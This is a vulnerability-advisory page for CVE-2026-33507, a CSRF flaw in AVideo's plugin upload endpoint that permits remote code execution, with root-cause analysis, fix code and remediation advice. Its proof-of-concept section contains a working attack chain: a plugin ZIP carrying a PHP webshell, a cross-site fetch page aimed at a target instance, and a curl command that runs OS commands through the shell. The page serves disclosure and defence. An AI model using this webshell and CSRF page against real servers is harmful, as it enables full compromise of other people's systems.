PHP
CVE-2026-33507
HIGH
Severity by source
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Lifecycle Timeline
2DescriptionGitHub Advisory
Summary
The objects/pluginImport.json.php endpoint allows admin users to upload and install plugin ZIP files containing executable PHP code, but lacks any CSRF protection. Combined with the application explicitly setting session.cookie_samesite = 'None' for HTTPS connections, an unauthenticated attacker can craft a page that, when visited by an authenticated admin, silently uploads a malicious plugin containing a PHP webshell, achieving Remote Code Execution on the server.
Details
The root cause has two components working together:
1. SameSite=None on session cookies (objects/include_config.php:134-137):
if ($isHTTPS) {
ini_set('session.cookie_samesite', 'None');
ini_set('session.cookie_secure', '1');
}This explicitly allows browsers to include the session cookie on cross-origin requests to the AVideo instance.
2. No CSRF protection on pluginImport.json.php (objects/pluginImport.json.php:18):
if (!User::isAdmin()) {
$obj->msg = "You are not admin";
die(json_encode($obj));
}The endpoint only checks User::isAdmin() via the session. There is:
- No CSRF token validation (the
verifyToken/globalTokenmechanism used elsewhere is absent) - No
allowOrigin()call (contrast withobjects/videoAddNew.json.phpwhich callsallowOrigin()at line 8) - No
RefererorOriginheader validation - No requirement for custom headers (e.g.,
X-Requested-With)
The upload form at view/managerPluginUpload.php also contains no CSRF token - it's a plain <form enctype="multipart/form-data"> with a file input.
Why the attack bypasses CORS preflight: multipart/form-data is a CORS-safelisted Content-Type, so a fetch() call with mode: 'no-cors' and credentials: 'include' sends the request directly without an OPTIONS preflight. The attacker cannot read the response, but the side effect - plugin installation and PHP file extraction to the web-accessible plugin/ directory - is the objective.
Why secondary PHP files are not validated: The ZIP validation (lines 67-152) thoroughly checks for path traversal, dangerous extensions (.phtml, .phar, .sh, etc.), and verifies the main plugin file extends PluginAbstract. However, .php is intentionally not in the dangerousExtensions list (it's a plugin system), and only the main file (PluginName/PluginName.php) is checked for the PluginAbstract pattern. Any additional .php files in the ZIP are extracted without content inspection.
PoC
Step 1: Create the malicious plugin ZIP
mkdir -p EvilPlugin
# Main file - passes PluginAbstract validation
cat > EvilPlugin/EvilPlugin.php << 'PLUG'
<?php
class EvilPlugin extends PluginAbstract {
public function getTags() { return array(); }
public function getDescription() { return "test"; }
public function getName() { return "EvilPlugin"; }
public function getUUID() { return "evil-0000-0000-0000"; }
public function getPluginVersion() { return "1.0"; }
public function getEmptyDataObject() { return new stdClass(); }
}
PLUG
# Secondary file - webshell, NOT checked for PluginAbstract
cat > EvilPlugin/cmd.php << 'SHELL'
<?php if(isset($_GET['c'])) system($_GET['c']); ?>
SHELL
zip -r evil-plugin.zip EvilPlugin/Step 2: Host the CSRF exploit page
<!DOCTYPE html>
<html>
<body>
<h1>Loading...</h1>
<script>
// Minimal ZIP with EvilPlugin/EvilPlugin.php and EvilPlugin/cmd.php
// In practice, the attacker would embed the base64-encoded ZIP bytes here
async function exploit() {
const zipResp = await fetch('evil-plugin.zip');
const zipBlob = await zipResp.blob();
const formData = new FormData();
formData.append('input-b1', zipBlob, 'evil-plugin.zip');
fetch('https://TARGET_AVIDEO_INSTANCE/objects/pluginImport.json.php', {
method: 'POST',
body: formData,
mode: 'no-cors',
credentials: 'include'
});
}
exploit();
</script>
</body>
</html>Step 3: Admin visits attacker's page while logged into AVideo over HTTPS
The browser sends the multipart/form-data POST with the admin's PHPSESSID cookie (allowed by SameSite=None). The server processes the upload, validates the ZIP structure, and extracts it to plugin/EvilPlugin/.
Step 4: Attacker accesses the webshell
curl 'https://TARGET_AVIDEO_INSTANCE/plugin/EvilPlugin/cmd.php?c=id'
# uid=33(www-data) gid=33(www-data) groups=33(www-data)Impact
- Remote Code Execution: An unauthenticated attacker achieves arbitrary OS command execution on the AVideo server by exploiting a logged-in admin's session.
- Full server compromise: The webshell runs as the web server user (
www-data), enabling data exfiltration, lateral movement, database access, and further privilege escalation. - No attacker account needed: The attacker requires zero privileges on the target system - only that an admin visits a page they control.
- Stealth: The attack is invisible to the admin (fire-and-forget side-effect request). The
no-corsmode means no visible error or redirect.
Recommended Fix
1. Add CSRF token validation to objects/pluginImport.json.php (primary fix):
// After the isAdmin() check at line 18, add:
if (!User::isAdmin()) {
$obj->msg = "You are not admin";
die(json_encode($obj));
}
// Add CSRF protection
allowOrigin();
// Also validate a CSRF token
if (empty($_POST['globalToken']) || !verifyToken($_POST['globalToken'])) {
$obj->msg = "Invalid CSRF token";
die(json_encode($obj));
}2. Update the upload form in view/managerPluginUpload.php to include the token:
<form enctype="multipart/form-data">
<input type="hidden" name="globalToken" value="<?php echo getToken(); ?>">
<input id="input-b1" name="input-b1" type="file" class="">
</form>And pass it in the JavaScript upload config:
$('#input-b1').fileinput({
uploadUrl: webSiteRootURL + 'objects/pluginImport.json.php',
uploadExtraData: { globalToken: $('input[name=globalToken]').val() },
// ...
});3. Consider changing SameSite=None to SameSite=Lax unless cross-origin cookie inclusion is specifically required for application functionality. Lax prevents cross-site POST requests from including cookies, which would mitigate this and similar CSRF vectors application-wide.
AnalysisAI
A Cross-Site Request Forgery (CSRF) vulnerability in the AVideo platform's plugin upload endpoint allows unauthenticated attackers to achieve Remote Code Execution by tricking authenticated administrators into visiting a malicious webpage. The vulnerability combines missing CSRF token validation on the pluginImport.json.php endpoint with explicitly configured SameSite=None session cookies over HTTPS, enabling cross-origin session hijacking. A proof-of-concept exploit has been published demonstrating full compromise by uploading a malicious plugin containing a PHP webshell.
Technical ContextAI
The vulnerability affects the AVideo application (pkg:composer/wwbn_avideo), a PHP-based video platform. The root cause is CWE-352 (Cross-Site Request Forgery), where the plugin upload functionality at objects/pluginImport.json.php lacks CSRF protection mechanisms such as token validation or origin header checks. The application explicitly configures PHP session cookies with SameSite=None and Secure flags when running over HTTPS, which instructs browsers to include authentication cookies on cross-origin requests. Because multipart/form-data is a CORS-safelisted content type, attackers can use fetch API with no-cors mode and credentials=include to bypass preflight checks. The plugin validation logic thoroughly checks the main plugin file for inheritance from PluginAbstract and scans for path traversal and dangerous extensions like .phtml and .phar, but intentionally allows .php files in subdirectories without content validation, enabling webshell injection through secondary PHP files within the plugin ZIP archive.
RemediationAI
Apply patches available from the AVideo project by consulting the vendor security advisory at https://github.com/WWBN/AVideo/security/advisories/GHSA-hv36-p4w4-6vmj for version-specific upgrade instructions. The primary fix requires adding CSRF token validation to objects/pluginImport.json.php using the existing verifyToken and globalToken mechanisms already deployed elsewhere in the application, and updating the upload form in view/managerPluginUpload.php to include and transmit the token. As a secondary hardening measure, consider changing the session.cookie_samesite configuration from None to Lax in objects/include_config.php unless cross-origin cookie inclusion is explicitly required for legitimate functionality, which would provide defense-in-depth against this and similar CSRF vectors across the application. Until patching is complete, implement compensating controls such as restricting plugin upload functionality to trusted network segments only, requiring out-of-band verification for plugin installations, or temporarily disabling the plugin upload feature if not operationally critical.
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
NetAlertX (formerly PiAlert) versions 23.01.14 through 24.x before 24.10.12 allow unauthenticated command injection thro
The GiveWP - Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to PHP Object Injection in all
Same weakness CWE-352 – Cross-Site Request Forgery (CSRF)
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-hv36-p4w4-6vmj